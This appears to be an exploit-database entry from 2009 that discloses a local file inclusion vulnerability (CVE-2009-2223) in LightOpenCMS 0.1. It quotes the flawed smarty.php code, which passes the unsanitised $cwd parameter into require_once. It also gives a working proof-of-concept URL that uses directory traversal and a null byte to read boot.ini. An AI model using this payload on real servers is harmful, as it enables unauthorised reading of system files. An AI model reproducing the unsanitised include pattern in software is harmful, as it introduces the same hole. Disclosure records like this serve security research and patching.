LightOpenCMS 0.1 - 'smarty.php?cwd' Local File Inclusion

Author: JosS
type: webapps
platform: php
port: 
date_added: 2009-06-23 
date_updated:  
verified: 1 
codes: OSVDB-55434;CVE-2009-2223 
tags: 
aliases:  
screenshot_url:  
application_url: 

LightOpenCMS 0.1 (smarty.php cwd) Local File Inclusion Vulnerability
bug found by Jose Luis Gongora Fernandez (a.k.a) JosS

contact: sys-project[at]hotmail.com
website: http://www.hack0wn.com/

- download: http://sourceforge.net/project/showfiles.php?group_id=251474

[smarty.php]
 define("SMARTY_DIR", $cwd."/smarty/");
 require_once(SMARTY_DIR."/Smarty.class.php");

PoC:
 [php.ini] register_globals= On
 http://localhost/locms/smarty.php?cwd=../../../../../../../../../../../../boot.ini%00

Greetz: YEnH4ckEr, str0ke and spanish hackers!

# milw0rm.com [2009-06-24]